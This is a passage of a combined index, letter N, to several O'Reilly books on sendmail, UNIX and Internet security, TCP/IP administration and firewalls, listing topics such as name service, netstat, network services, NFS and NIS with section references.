Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: N

n class : sendmail, 32.5. Alphabetized Reference
-N database switch : sendmail, 33.3.4.6. -N append a null byte to all keys (V8.1 and above)
n flag : sendmail, 30.8. Alphabetized F= Flags
N line (qf file) : sendmail, 23.9. The qf File Internals
$n macro
sendmail, 10.3. Missing Addresses
sendmail, 24.4.2. The MAILER-DAEMON Alias
sendmail, 31.10. Alphabetized Reference
n option : (see CheckAliases (n) option)
-n switch (sendmail)
sendmail, 18.3.2. The makesendmail Script
sendmail, 24.6. Prevent Aliasing with -n
sendmail, 36.7. Alphabetized Reference
-N switch (makemap) : sendmail, 33.2.1.3. -N append a null byte to all keys
-N switch (sendmail) : sendmail, 36.7. Alphabetized Reference
N= equate : sendmail, 30.4. The Equates
name service
Practical UNIX & Internet Security, 16.2.6. Name Service
Practical UNIX & Internet Security, 16.2.6.2. Other naming services
sendmail, 21.1. Overview
sendmail, 21.5.2. Offsite Servers
TCP/IP Network Administration, 1.7. Application Layer
TCP/IP Network Administration, 8. Configuring DNS Name Service
(see also DNS)
addresses : (see addresses)
name server lookups : sendmail, 33.4.3. $[ and $]: A Special Case
process : TCP/IP Network Administration, 3.3.4. BIND, resolver, and named
security and : Practical UNIX & Internet Security, 16.3.2. Security and Nameservice
troubleshooting
TCP/IP Network Administration, 11.3. Testing Basic Connectivity
TCP/IP Network Administration, 11.6. Checking Name Service
Name Service Switch file (nsswitch.conf) : TCP/IP Network Administration, 9.3.1. The nsswitch.conf file
name-value pairs in BNU UUCP : Practical UNIX & Internet Security, 15.5.1.2. Name-value pairs
named daemon
Building Internet Firewalls, 8.10.5.2. Set up a real DNS
Practical UNIX & Internet Security, 16.2.6.1. DNS under UNIX
Practical UNIX & Internet Security, 17.3.6.2. DNS nameserver attacks
TCP/IP Network Administration, 5.4. The Internet Daemon
TCP/IP Network Administration, 8.1. BIND: UNIX Name Service
booting : TCP/IP Network Administration, 8.3.3. The Cache Initialization File
command : TCP/IP Network Administration, C.1. The named Command
configuring : TCP/IP Network Administration, 8.3. Configuring named
process : TCP/IP Network Administration, 3.3.4. BIND, resolver, and named
starting at startup : TCP/IP Network Administration, 8.3.6.1. Starting named
tools reference : TCP/IP Network Administration, C. A named Reference
NAMED_BIND macro : sendmail, 18.8. Alphabetized Reference
named.boot file
Practical UNIX & Internet Security, 17.3.6.1. DNS zone transfers
Practical UNIX & Internet Security, 17.3.6.2. DNS nameserver attacks
TCP/IP Network Administration, 8.3.1. The named.boot File
TCP/IP Network Administration, 11.6.3. Cache corruption
TCP/IP Network Administration, C.1. The named Command
configuration commands
TCP/IP Network Administration, C.2. named.boot Configuration Commands
TCP/IP Network Administration, 8.3.1. The named.boot File
named.ca file : TCP/IP Network Administration, 11.6.3. Cache corruption
named.hosts file : TCP/IP Network Administration, 8.3.6. The named.hosts File
named.local file : TCP/IP Network Administration, 8.3.4. The named.local File
named.pid file : TCP/IP Network Administration, 11.6.3. Cache corruption
named.rev file : TCP/IP Network Administration, 8.3.5. The Reverse Domain File
named-xfer program : Practical UNIX & Internet Security, 16.2.6.1. DNS under UNIX
names : TCP/IP Network Administration, 3.1. Names and Addresses
alternative for sendmail : sendmail, 36.1. Alternative argv[0] Names
canonical
sendmail, 7.3.1. The hostname
sendmail, 31.10. Alphabetized Reference
canonicalizing : (see canonicalization)
changing from host to hub : sendmail, 11.6. Handling user@thishost
choosing UUCP : Practical UNIX & Internet Security, 15.5.2. Permissions Commands
classes
sendmail, 12.1. The Class Command
sendmail, 32.2.4. Class Name Hashing Algorithm
computer
Practical UNIX & Internet Security, 16.2.3. Hostnames
Practical UNIX & Internet Security, 16.2.3.1. The /etc/hosts file
controlling terminal : sendmail, 31.10. Alphabetized Reference
DNS : (see DNS)
domain
Practical UNIX & Internet Security, 16.2.3. Hostnames
sendmail, 8.1. A Fictional Network
sendmail, 19.6. Alphabetized m4 Macros
sendmail, 31.10. Alphabetized Reference
TCP/IP Network Administration, 3.3.3. Domain Names
TCP/IP Network Administration, 4. Getting Started
application form : TCP/IP Network Administration, 4.4.1. Obtaining a Domain Name
full sender : (see $x macro)
fully qualified
sendmail, 4.2. Verbose (-v)
sendmail, 7.3.1. The hostname
sendmail, 8.1. A Fictional Network
sendmail, 21.1. Overview
TCP/IP Network Administration, 3.3.3. Domain Names
(see also $j macro)
headers : sendmail, 35.2. Header Names
hostnames : (see hostnames)
hub, internal : sendmail, 11.4.2. A Word About ${HUB}
local canonical
sendmail, 21.2.1. Determine the Local Canonical Name
sendmail, 31.10. Alphabetized Reference
macros
sendmail, 5.3.2. Macros
sendmail, 7.2. Defining Macros
sendmail, 20.3. Alphabetized V8.8 Subroutines
sendmail, 31.4. Macro Names
in NIS : TCP/IP Network Administration, 9.3. Network Information Service
obtaining : TCP/IP Network Administration, 4.4.1. Obtaining a Domain Name
options : sendmail, 13.1. Options: An Overview
parameter : TCP/IP Network Administration, 9.4. A BOOTP Server
RealHostName variable : sendmail, 20.1.2. Global Variables
rule set : sendmail, 29.1.2. Rule-Set Names
symbol, delivery agent : sendmail, 30.2. The Symbolic Name
trailing dot for
sendmail, 15.3. MX Records
sendmail, 17.4. Rule Set 4
sendmail, 29.5.1. Stripping Trailing Dots
unqualified
sendmail, 19.6. Alphabetized m4 Macros
sendmail, 31.10. Alphabetized Reference
user : (see usernames)
nameser.h file : sendmail, B.1. Status file lines
nameserver attacks, DNS : Practical UNIX & Internet Security, 17.3.6.2. DNS nameserver attacks
nameserver cache loading : Practical UNIX & Internet Security, 16.3.2. Security and Nameservice
nameserver entry, in resolv.conf : TCP/IP Network Administration, 8.2.1. The Resolver Configuration File
NAPs (Network Access Points)
TCP/IP Network Administration, 1.1. TCP/IP and the Internet
TCP/IP Network Administration, 2.4. Internet Routing Architecture
TCP/IP Network Administration, 7.5.2. Border Gateway Protocol
AMES Research Center
NASA (National Aeronautics and Space Agency) : Practical UNIX & Internet Security, F.3.4.23. NASA
National Center for Supercomputer Applications (NCSA)
Practical UNIX & Internet Security, F.2.1. National Computer Security Center
TCP/IP Network Administration, 13.1. The World Wide Web
NCSA HTTPD server
Practical UNIX & Internet Security, 10.3.5. access_log Log File
(see also web servers)
NCSA Mosaic : Building Internet Firewalls, 2.5. The World Wide Web
National Computer Security Center (NCSC) : Practical UNIX & Internet Security, F.2.1. National Computer Security Center
National Institute of Standards and Technology (NIST)
Practical UNIX & Internet Security, F.3.4.26. National Institute of Standards and Technology
TCP/IP Network Administration, 12.1.2.2. Use mailing lists to distribute information
TCP/IP Network Administration, 13.1. The World Wide Web
NIST CSRC (Computer Security Resource Clearinghouse) : Building Internet Firewalls, A.5.3. NIST CSRC
National Science Foundation (NSF)
TCP/IP Network Administration, 1.1. TCP/IP and the Internet
TCP/IP Network Administration, 7.5.2. Border Gateway Protocol
NSFNET
TCP/IP Network Administration, 2.4. Internet Routing Architecture
TCP/IP Network Administration, 7.4. Interior Routing Protocols
national security : Practical UNIX & Internet Security, 26.2.2. Federal Jurisdiction
natural disasters
Practical UNIX & Internet Security, 1.1. What Is Computer Security?
Practical UNIX & Internet Security, 7.1.1.1. A taxonomy of computer failures
Practical UNIX & Internet Security, 7.1.6.1. Physical security for backups
Practical UNIX & Internet Security, 12.2.1.1. Fire
(see also physical security)
accidents : Practical UNIX & Internet Security, 12.2.2. Preventing Accidents
earthquakes : Practical UNIX & Internet Security, 12.2.1.4. Earthquake
fires
Practical UNIX & Internet Security, 12.2.1.1. Fire
Practical UNIX & Internet Security, 12.2.1.2. Smoke
lightning
Practical UNIX & Internet Security, 12.2. Protecting Computer Hardware
Practical UNIX & Internet Security, 12.2.1.9. Lightning
natural gas : Practical UNIX & Internet Security, 12.2.1.5. Explosion
natural mask : TCP/IP Network Administration, 2.2.2. Classless IP Addresses
NAVCIRT (Naval Computer Incident Response Team) : Practical UNIX & Internet Security, F.3.4.44. U.S. Department of the Navy
NBMA interfaces
TCP/IP Network Administration, B.6. Interface Statements
TCP/IP Network Administration, B.8.1. The ospf Statement
ncheck command
Practical UNIX & Internet Security, 5.5.4.1. The ncheck command
Practical UNIX & Internet Security, 5.6. Device Files
NCSA (National Center for Supercomputer Applications)
Practical UNIX & Internet Security, F.2.1. National Computer Security Center
TCP/IP Network Administration, 13.1. The World Wide Web
NCSA HTTPD server
Practical UNIX & Internet Security, 10.3.5. access_log Log File
(see also web servers)
NCSA Mosaic : Building Internet Firewalls, 2.5. The World Wide Web
NCSC (National Computer Security Center) : Practical UNIX & Internet Security, F.2.1. National Computer Security Center
ndbm database : sendmail, 33.8. Alphabetized Reference
NDBM macro : sendmail, 18.8. Alphabetized Reference
NEED... macros : sendmail, 18.8. Alphabetized Reference
needexpnhelo (sendmail) : Practical UNIX & Internet Security, 17.3.4.3. Improving the security of Berkeley sendmail V8
needmailhelo (sendmail) : Practical UNIX & Internet Security, 17.3.4.3. Improving the security of Berkeley sendmail V8
needvrfyhelo (sendmail) : Practical UNIX & Internet Security, 17.3.4.3. Improving the security of Berkeley sendmail V8
negative precedence values : sendmail, 14.4. Precedence
neighbors
acquiring : TCP/IP Network Administration, 7.5.1. Exterior Gateway Protocol
allowing
TCP/IP Network Administration, 7.7.1.3. Exterior gateway configuration
TCP/IP Network Administration, B.8.6. The egp Statement
nested
angle brackets
sendmail, 10.4. Nested Angle Brackets
sendmail, 17.1.1.2. Strip to left of <
directories : Practical UNIX & Internet Security, 25.2.2.8. Tree-structure attacks
IP over IP : Building Internet Firewalls, 6.3.3.5. IP over IP
macro conditionals : sendmail, 31.6.1. Conditionals May Nest
net domain : TCP/IP Network Administration, 3.3.1. The Domain Hierarchy
NET... macros : sendmail, 18.8. Alphabetized Reference
Net/Dest value
TCP/IP Network Administration, 6.1.1. Determining the Interface Name
TCP/IP Network Administration, 6.1.5.5. Point-to-point
netacl program : Building Internet Firewalls, 5.8.3.2. Using netacl to protect services
netconfig : TCP/IP Network Administration, 4.7. netconfig
Netgroup table (NIS+) : Practical UNIX & Internet Security, 19.5.3. NIS+ Tables
netgroups, NIS
Practical UNIX & Internet Security, 19.4.4. NIS Netgroups
Practical UNIX & Internet Security, 19.4.4.6. NIS is confused about "+"
limiting imported accounts : Practical UNIX & Internet Security, 19.4.4.2. Using netgroups to limit the importing of accounts
NetInfo
Practical UNIX & Internet Security, 3.2.2. The /etc/passwd File
Practical UNIX & Internet Security, 16.2.6.2. Other naming services
sendmail, 33.8. Alphabetized Reference
NETINFO macro : sendmail, 18.8. Alphabetized Reference
Netmasks table (NIS+) : Practical UNIX & Internet Security, 19.5.3. NIS+ Tables
netnews~firewalls : Practical UNIX & Internet Security, 21.4.3. Netnews
.netrc file : Practical UNIX & Internet Security, 10.4.3. Network Setup
Netscape Navigator
Building Internet Firewalls, 2.5. The World Wide Web
TCP/IP Network Administration, 13.1. The World Wide Web
encryption system of : Practical UNIX & Internet Security, 18.4.1. Eavesdropping Over the Wire
random number generator : Practical UNIX & Internet Security, 23.8. Picking a Random Seed
netstat command
Practical UNIX & Internet Security, 17.5. Monitoring Your Network with netstat
Practical UNIX & Internet Security, 24.2.1. Catching One in the Act
Practical UNIX & Internet Security, 24.2.4. Tracing a Connection
-a option : Practical UNIX & Internet Security, 17.5. Monitoring Your Network with netstat
-in command : TCP/IP Network Administration, 6.1.1. Determining the Interface Name
-n option : Practical UNIX & Internet Security, 17.5. Monitoring Your Network with netstat
-ni command : TCP/IP Network Administration, 6.4.4. Troubleshooting Serial Connections
-nr command
TCP/IP Network Administration, 2.5. The Routing Table
TCP/IP Network Administration, 7.3.1. Adding Static Routes
TCP/IP Network Administration, 11.5. Checking Routing
to display routing table : TCP/IP Network Administration, 12.7.2. Routing control
troubleshooting with
TCP/IP Network Administration, 11.2. Diagnostic Tools
TCP/IP Network Administration, 11.3. Testing Basic Connectivity
TCP/IP Network Administration, 11.4.3. Checking the Interface with netstat
network services
Building Internet Firewalls, 2. Internet Services
Practical UNIX & Internet Security, 11.1.2. Back Doors and Trap Doors
Practical UNIX & Internet Security, 17. TCP/IP Services
Practical UNIX & Internet Security, 17.7. Summary
Practical UNIX & Internet Security, 23.3. Tips on Writing Network Programs
Practical UNIX & Internet Security, G. Table of IP Services
administration : (see system administration)
booting : Building Internet Firewalls, 5.8.2.4. Which services should you disable?
configuring : Building Internet Firewalls, 8. Configuring Internet Services
contacting providers about incidents : Building Internet Firewalls, 13.1.4.3. Vendors and service providers
default deny stance : Building Internet Firewalls, 3.5.1. Default Deny Stance: That Which Is Not
default permit stance : Building Internet Firewalls, 3.5.2. Default Permit Stance: That Which Is
direct access to : Building Internet Firewalls, 7.1.1.1. Proxy services allow users to access Internet services
disabling those not required : Building Internet Firewalls, 5.8.2. Disabling Nonrequired Services
DNS : (see DNS)
encryption with : (see encryption)
filtering by : Building Internet Firewalls, 6.7. Filtering by Service
finger : (see finger service)
FTP : (see FTP)
inbound : (see inbound, services)
information lookup services : Building Internet Firewalls, 8.8. Information Lookup Services
installing and modifying : Building Internet Firewalls, 5.8.3. Installing and Modifying Services
LAN-oriented : Building Internet Firewalls, 5.6. Selecting Services Provided by the
NFS (Network File System) : Building Internet Firewalls, 5.8.2.4. Which services should you disable?
NNTP : (see NNTP)
NTP : (see NTP)
overloading : Practical UNIX & Internet Security, 25.3.1. Service Overloading
passwords for : (see passwords)
POP : (see POP)
protecting with TCP Wrapper : Building Internet Firewalls, 5.8.3.1. Using the TCP Wrapper package to protect services
proxy : (see proxy servers/services)
r commands : Building Internet Firewalls, 5.8.2.4. Which services should you disable?
real-time conferencing : Building Internet Firewalls, 8.9. Real-Time Conferencing Services
root account with : (see root account/user)
RPC (Remote Procedure Call) : Building Internet Firewalls, 5.8.2.4. Which services should you disable?
securing
Practical UNIX & Internet Security, 17.4. Security Implications of Network Services
Practical UNIX & Internet Security, 19.1. Securing Network Services
(see also security)
selecting for bastion host : Building Internet Firewalls, 5.6. Selecting Services Provided by the
SMTP : (see SMTP)
SNMP : (see SNMP)
spoofing
Practical UNIX & Internet Security, 8.5.3.1. Trusted path
Practical UNIX & Internet Security, 16.3. IP Security
Practical UNIX & Internet Security, 17.5. Monitoring Your Network with netstat
Practical UNIX & Internet Security, 19.4.4.4. Spoofing RPC
Practical UNIX & Internet Security, 19.4.4.5. Spoofing NIS
started by /etc/rc : Building Internet Firewalls, 5.8.2.1. How are services managed?
store-and-forward
Building Internet Firewalls, 7.5. Proxying Without a Proxy Server
TCP/IP Network Administration, 3.4.1. Simple Mail Transfer Protocol
systat service : Practical UNIX & Internet Security, 17.3.1. systat (TCP Port 11)
Telnet : (see Telnet service)
TFTP : (see TFTP)
UUCP : (see UUCP)
networks and networking
Practical UNIX & Internet Security, 16. TCP/IP Networks
Practical UNIX & Internet Security, 16.5. Summary
sendmail, 3.3. Role in Network Transport
10Base-T : Practical UNIX & Internet Security, 12.3.1.2. Eavesdropping by Ethernet and 10Base-T
access
access layer, TCP/IP : Building Internet Firewalls, C.4. Network Access Layer
balancing against computer security : TCP/IP Network Administration, 12. Network Security
troubleshooting : TCP/IP Network Administration, 11.4. Troubleshooting Network Access
address translation (NAT) : TCP/IP Network Administration, 4.2.1. Obtaining an IP Address
avoiding problems
TCP/IP Network Administration, 11.4.2.1. ARP problem case study
TCP/IP Network Administration, 11.9. Simple Network Management Protocol
decentralized : TCP/IP Network Administration, 2.3. Subnets
defined
TCP/IP Network Administration, 1. Overview of TCP/IP
TCP/IP Network Administration, 11. Troubleshooting TCP/IP
developing feel for : TCP/IP Network Administration, 12.4.1. Know Your System
need for information about : TCP/IP Network Administration, Preface
security responsibilites of : TCP/IP Network Administration, 12.1.3. Writing a Security Policy
simplifying : TCP/IP Network Administration, 4.2.2. Defining the Subnet Mask
allowing threats from : Practical UNIX & Internet Security, 11.4. Entry
AppleTalk : sendmail, 3.3.3. Other Protocols
architecture : (see firewalls, architecture of)
ARPANET
Practical UNIX & Internet Security, 16.1.1. The InternetWe recommend that readers
TCP/IP Network Administration, 1.1. TCP/IP and the Internet
TCP/IP Network Administration, 1.5.1.1. The datagram
TCP/IP Network Administration, 2.4. Internet Routing Architecture
TCP/IP Network Administration, 6.2. TCP/IP Over a Serial Line
backing up
Practical UNIX & Internet Security, 7.2.2. Small Network of Workstations and a Server
Practical UNIX & Internet Security, 7.2.4. Large Service-Based Networks with Large Budgets
Practical UNIX & Internet Security, 7.4.5. Backups Across the Net
break-ins, increasing : TCP/IP Network Administration, 12. Network Security
building : TCP/IP Network Administration, Foreword from the First Edition
cables for : (see cables)
checking connectivity of : (see ping command)
checklist for
Practical UNIX & Internet Security, A.1.1.15. Chapter 16: TCP/IP Networks
Practical UNIX & Internet Security, A.1.1.16. Chapter 17: TCP/IP Services
computer networks : Practical UNIX & Internet Security, 1.4.3. Add-On Functionality Breeds Problems
configuration files : Practical UNIX & Internet Security, 10.4.3. Network Setup
connected or not connected to Internet : TCP/IP Network Administration, 4.1. Connected and Non-Connected Networks
connections : Practical UNIX & Internet Security, 17.3.3. TELNET (TCP Port 23)
connectors for : Practical UNIX & Internet Security, 12.2.4.3. Network connectors
databases, network : Practical UNIX & Internet Security, 3.2.2. The /etc/passwd File
DECnet
Practical UNIX & Internet Security, 16.4.3. DECnet
sendmail, 3.3.3. Other Protocols
$C macro : sendmail, 31.10. Alphabetized Reference
denial of service on : (see denial of service)
diameter
TCP/IP Network Administration, 1.7. Application Layer
TCP/IP Network Administration, 7.4.1.1. Running RIP with routed
disabling physically : Practical UNIX & Internet Security, 25.3.3. Signal Grounding
disconnecting, after incident
Building Internet Firewalls, 13.1.2. Disconnect or Shut Down, as
Building Internet Firewalls, 13.4.3. Planning for Disconnecting or
encryption : Building Internet Firewalls, 10.5. Network-Level Encryption
File System : (see NFS)
forwarding over
sendmail, 29.6.6. Forwarding over the Network
TCP/IP Network Administration, 1.5.1.4. Passing datagrams to the transport layer
loops : sendmail, 25.7.2. Forwarding Loops
Resent- headers : sendmail, 35.7. Forwarding with Resent-Headers
hardware
TCP/IP Network Administration, 1.7. Application Layer
(see also physical network)
with built-in diagnostic software : TCP/IP Network Administration, 11.3.1. The ping Command
problems with
TCP/IP Network Administration, 11.3.1. The ping Command
TCP/IP Network Administration, 11.4.3. Checking the Interface with netstat
TCP/IP Network Administration, 11.4.4.1. Network hardware problems
heterogeneous : TCP/IP Network Administration, 1.1.2. Protocol Standards
insecure : Building Internet Firewalls, 4.4.2. Insecure Networks
interfaces : TCP/IP Network Administration, 3.1. Names and Addresses
enabling or disabling : TCP/IP Network Administration, 6.1.5.1. Enabling and disabling the interface
information need for : TCP/IP Network Administration, 6.1. The ifconfig Command
Internet : (see Internet)
joint : Building Internet Firewalls, 4.4.4. Joint Venture Firewalls
lab/test : Building Internet Firewalls, 4.4.1. Laboratory Networks
LANs : (see LANs)
location of bastion host on : Building Internet Firewalls, 5.5. Locating the Bastion Host on the Network
logging
Practical UNIX & Internet Security, 10.5.2.2. Logging across the network
Practical UNIX & Internet Security, 10.3.6. Logging Network Services
(see also logs/logging)
management services : Building Internet Firewalls, 2.10. Network Management Services
configuring : Building Internet Firewalls, 8.12. Network Management Services
MANs : Practical UNIX & Internet Security, 16.1. Networking
maps drawn by monitors : TCP/IP Network Administration, 11.9. Simple Network Management Protocol
mask
TCP/IP Network Administration, 7.4.2. RIP Version 2
TCP/IP Network Administration, 2.5. The Routing Table
mobile computing : Practical UNIX & Internet Security, 8.7. One-Time Passwords
monitoring
Building Internet Firewalls, 5.9.2. Consider Writing Software to Automate Monitoring
TCP/IP Network Administration, 11.7. Analyzing Protocol Problems
netstat : Practical UNIX & Internet Security, 17.5. Monitoring Your Network with netstat
news : (see Usenet news)
NFSNET
Practical UNIX & Internet Security, 16.1.1. The InternetWe recommend that readers
TCP/IP Network Administration, 1.1. TCP/IP and the Internet
numbers
TCP/IP Network Administration, 2.2.1. Address Classes
TCP/IP Network Administration, 4.2.1.1. Assigning host addresses
packet switching
Practical UNIX & Internet Security, 16.2. IPv4: The Internet Protocol Version 4
Practical UNIX & Internet Security, 16.3. IP Security
TCP/IP Network Administration, 1.5.1.1. The datagram
TCP/IP Network Administration, 1.7. Application Layer
perimeter
Building Internet Firewalls, 4.1. Some Firewall Definitions
Building Internet Firewalls, 4.2.3.1. Perimeter network
problems, how to approach : TCP/IP Network Administration, 11. Troubleshooting TCP/IP
processes : TCP/IP Network Administration, 8.2. Configuring the Resolver
protecting internally : Building Internet Firewalls, 4.4. Internal Firewalls
providers : (see ISPs)
resources, controlling : TCP/IP Network Administration, 12.1.3. Writing a Security Policy
saturated : TCP/IP Network Administration, 11.4.3. Checking the Interface with netstat
scanning : Practical UNIX & Internet Security, 17.6. Network Scanning
security : (see security)
servers
TCP/IP Network Administration, 2.7.2. Port Numbers
TCP/IP Network Administration, 9. Configuring Network Servers
services : (see network services)
shared media : TCP/IP Network Administration, 11.4.4. Subdividing an Ethernet
SOCKS for : (see SOCKS package)
spoofing
Practical UNIX & Internet Security, 8.5.3.1. Trusted path
Practical UNIX & Internet Security, 16.3. IP Security
Practical UNIX & Internet Security, 17.5. Monitoring Your Network with netstat
Practical UNIX & Internet Security, 19.4.4.5. Spoofing NIS
Practical UNIX & Internet Security, 19.4.4.4. Spoofing RPC
subdividing : TCP/IP Network Administration, 11.4.3. Checking the Interface with netstat
subnetted : TCP/IP Network Administration, 4.2.1.1. Assigning host addresses
support : sendmail, 18.8. Alphabetized Reference
taps : Building Internet Firewalls, 1.2.1.3. Information Theft
TCP/IP : (see TCP/IP services)
Time Protocol : (see NTP)
topology of : TCP/IP Network Administration, 2.2.2. Classless IP Addresses
transferring information across : (see packet filtering)
underlying : TCP/IP Network Administration, 1.4. Network Access Layer
UNIX and : Practical UNIX & Internet Security, 16.1.2. Networking and UNIX
unreliable : TCP/IP Network Administration, 11.3.1. The ping Command
unusual activity on : TCP/IP Network Administration, 12.4.1. Know Your System
usage, monitoring : TCP/IP Network Administration, 5.2. Linux Kernel Configuration
UUCP over
Practical UNIX & Internet Security, 15.8. UUCP Over Networks
(see also UUCP)
X.25 : TCP/IP Network Administration, 1.5.1.3. Fragmenting datagrams
WANs : Practical UNIX & Internet Security, 16.1. Networking
weaving : Practical UNIX & Internet Security, 16.1.1.1. Who is on the Internet?
Network Access Layer
TCP/IP Network Administration, 1.3. TCP/IP Protocol Architecture
TCP/IP Network Administration, 6.1.1. Determining the Interface Name
protocols : TCP/IP Network Administration, 3.6. Bootstrap Protocol
Network Access Points (NAPs)
TCP/IP Network Administration, 1.1. TCP/IP and the Internet
TCP/IP Network Administration, 2.4. Internet Routing Architecture
TCP/IP Network Administration, 7.5.2. Border Gateway Protocol
Network Control protocols : TCP/IP Network Administration, 6.2.1. The Serial Protocols
Network File System : (see NFS)
Network Information Center (NIC)
Practical UNIX & Internet Security, 24.2.4.2. How to contact the system administrator of a computer
TCP/IP Network Administration, 3.3.2. Creating Domains and Subdomains
handle : TCP/IP Network Administration, 4.4.1. Obtaining a Domain Name
Network Information Service : (see NIS)
Network Layer
TCP/IP Network Administration, 1.2. A Data Communications Model
TCP/IP Network Administration, 6.1.1. Determining the Interface Name
Network Management Station (NMS) : TCP/IP Network Administration, 11.9. Simple Network Management Protocol
Network News Transfer Protocol (NNTP)
Building Internet Firewalls, 2.4. Usenet News
Building Internet Firewalls, 7.5. Proxying Without a Proxy Server
Practical UNIX & Internet Security, 17.3.13. Network News Transport Protocol (NNTP) (TCP Port
TCP/IP Network Administration, 13.5.1. Newsgroups
(see also Usenet news)
configuring
Building Internet Firewalls, 8.5. Network News Transfer Protocol
Building Internet Firewalls, 9.1.1.4. NNTP
Building Internet Firewalls, 9.2.1.4. NNTP
Network Terminal Protocol (TELNET) : TCP/IP Network Administration, 1.7. Application Layer
Network Time Protocol
Building Internet Firewalls, 2.11. Time Service
Building Internet Firewalls, 7.5. Proxying Without a Proxy Server
Practical UNIX & Internet Security, 17.3.14. Network Time Protocol (NTP) (UDP Port 123)
configuring : Building Internet Firewalls, 8.13. Network Time Protocol (NTP)
Secure RPC and : Practical UNIX & Internet Security, 19.3.1.3. Setting the window
network unreachable error message
TCP/IP Network Administration, 11.3. Testing Basic Connectivity
TCP/IP Network Administration, 11.5. Checking Routing
(see also ICMP)
Network/Destination value
TCP/IP Network Administration, 6.1.1. Determining the Interface Name
TCP/IP Network Administration, 6.1.5.5. Point-to-point
networks file
TCP/IP Network Administration, 3.2. The Host Table
TCP/IP Network Administration, 6.1.3. Assigning a Subnet Mask
TCP/IP Network Administration, 7.3. Building a Static Routing Table
TCP/IP Network Administration, 9.3. Network Information Service
as maps : TCP/IP Network Administration, 3.3.5. Network Information Service
Networks table (NIS+) : Practical UNIX & Internet Security, 19.5.3. NIS+ Tables
Neumann, Peter : Practical UNIX & Internet Security, 1.3. History of UNIX
newaliases command
sendmail, 4.1.3. Rebuild Aliases Mode (-bi)
sendmail, 24.5.3. Prevent Simultaneous Rebuilds
sendmail, 36.1.3. newaliases
NEWDB macro : sendmail, 18.8. Alphabetized Reference
newgrp command : Practical UNIX & Internet Security, 4.1.3.2. Groups and older AT&T UNIX
newkey -u command
Practical UNIX & Internet Security, 19.3.2.1. Creating passwords for users
Practical UNIX & Internet Security, 19.5.4.2. When a user's passwords don't match
newlines : (see whitespace)
newly registered hosts : TCP/IP Network Administration, 3.2. The Host Table
news (Usenet)
Practical UNIX & Internet Security, 17.3.13. Network News Transport Protocol (NNTP) (TCP Port
Practical UNIX & Internet Security, E.2. Usenet Groups
TCP/IP Network Administration, 13.5.1. Newsgroups
TCP/IP Network Administration, E.3.5. MAILER
(see also NNTP)
cleanup scripts : Practical UNIX & Internet Security, 11.5.3. Abusing Automatic Mechanisms
encryption for : (see ROT13 algorithm)
message subtype : TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
mailing list gateways to : sendmail, 25.5.2. Gateway Lists to News
news user : Practical UNIX & Internet Security, 4.1. Users and Groups
newsgroups
Building Internet Firewalls, 2.4. Usenet News
TCP/IP Network Administration, 13.5.1. Newsgroups
defamation/harassment via : Practical UNIX & Internet Security, 26.4.7. Harassment, Threatening Communication, and Defamation
keeping current : Building Internet Firewalls, 12.3.1.2. Newsgroups
for security information : TCP/IP Network Administration, 12.1.2.2. Use mailing lists to distribute information
security resources via : Building Internet Firewalls, A.4. Newsgroups
using
TCP/IP Network Administration, 4.1.1. Network Contacts
TCP/IP Network Administration, 13.5.1. Newsgroups
posting breakins to : Practical UNIX & Internet Security, 24.6. Resuming Operation
reporting security holes on : Practical UNIX & Internet Security, 2.5.1. Going Public
next hop
Building Internet Firewalls, C.11. The Routing Table
TCP/IP Network Administration, 7.4.3. Open Shortest Path First
specifying : TCP/IP Network Administration, 7.3. Building a Static Routing Table
in RIP-2 : TCP/IP Network Administration, 7.4.2. RIP Version 2
NEXTSTEP Window Server (NSWS) : Practical UNIX & Internet Security, 17.3.16. NEXTSTEP Window Server
nf files : sendmail, 23.2.4. The ID Creation File (obsolete as of V5.62): nf
NFS (Network File System)
Building Internet Firewalls, 2.12. Network File Systems
Practical UNIX & Internet Security, 5.5.5. Turning Off SUID and SGID in Mounted Filesystems
Practical UNIX & Internet Security, 19. RPC, NIS, NIS+, and Kerberos
TCP/IP Network Administration, 1.7. Application Layer
TCP/IP Network Administration, 3.7.1. File Sharing
TCP/IP Network Administration, 9.1. The Network File System
TCP/IP Network Administration, 9.6. Managing Distributed Servers
authentication and
Practical UNIX & Internet Security, 19.2.2. RPC Authentication
Practical UNIX & Internet Security, 19.2.2.4. AUTH_KERB
benefits of : TCP/IP Network Administration, 9.1. The Network File System
checklist for : Practical UNIX & Internet Security, A.1.1.19. Chapter 20: NFS
configuring : Building Internet Firewalls, 8.14. Network File System
exporting news via : Building Internet Firewalls, 8.5.3.3. Exporting news to clients via
file permissions : Practical UNIX & Internet Security, 5.1.7. File Permissions in Detail
find command on : Practical UNIX & Internet Security, 5.5.4. Finding All of the SUID and SGID Files
-local option : Practical UNIX & Internet Security, 11.6.1.2. Writable system files and directories
MOUNT : Practical UNIX & Internet Security, 20.1.1. NFS History
Secure NFS : (see Secure NFS)
server, and UUCP : Practical UNIX & Internet Security, 15.3. UUCP and Security
services of : Building Internet Firewalls, 5.8.2.4. Which services should you disable?
technical description of : Practical UNIX & Internet Security, 20.1.1. NFS History
trusted hosts and : Practical UNIX & Internet Security, 17.3.18.2. The problem with trusted hosts
-xdev option : Practical UNIX & Internet Security, 11.6.1.2. Writable system files and directories
NFS-based print services : TCP/IP Network Administration, 9.1.5.1. NFS print services
nfs.client script : TCP/IP Network Administration, 9.1.1. NFS Daemons
nfs.server script : TCP/IP Network Administration, 9.1.1. NFS Daemons
nfsd (NFS daemon) : TCP/IP Network Administration, 9.1.1. NFS Daemons
NFSNET backbone : TCP/IP Network Administration, 1.1. TCP/IP and the Internet
NIC (Network Information Center)
Practical UNIX & Internet Security, 24.2.4.2. How to contact the system administrator of a computer
TCP/IP Network Administration, 3.3.2. Creating Domains and Subdomains
handle : TCP/IP Network Administration, 4.4.1. Obtaining a Domain Name
nice command : Practical UNIX & Internet Security, 25.2.1.2. System overload attacks
nice numbers : Practical UNIX & Internet Security, C.1.3.3. Process priority and niceness
niceness, delivery agent : sendmail, 30.4. The Equates
NIS (Network Information Service)
Practical UNIX & Internet Security, 3.2.2. The /etc/passwd File
Practical UNIX & Internet Security, 3.4. Changing Your Password
Practical UNIX & Internet Security, 19. RPC, NIS, NIS+, and Kerberos
Practical UNIX & Internet Security, 19.4. Sun's Network Information Service (NIS)
Practical UNIX & Internet Security, 19.4.5. Unintended Disclosure of Site Information with NIS
TCP/IP Network Administration, 3.3.5. Network Information Service
TCP/IP Network Administration, 9.3. Network Information Service
+ in
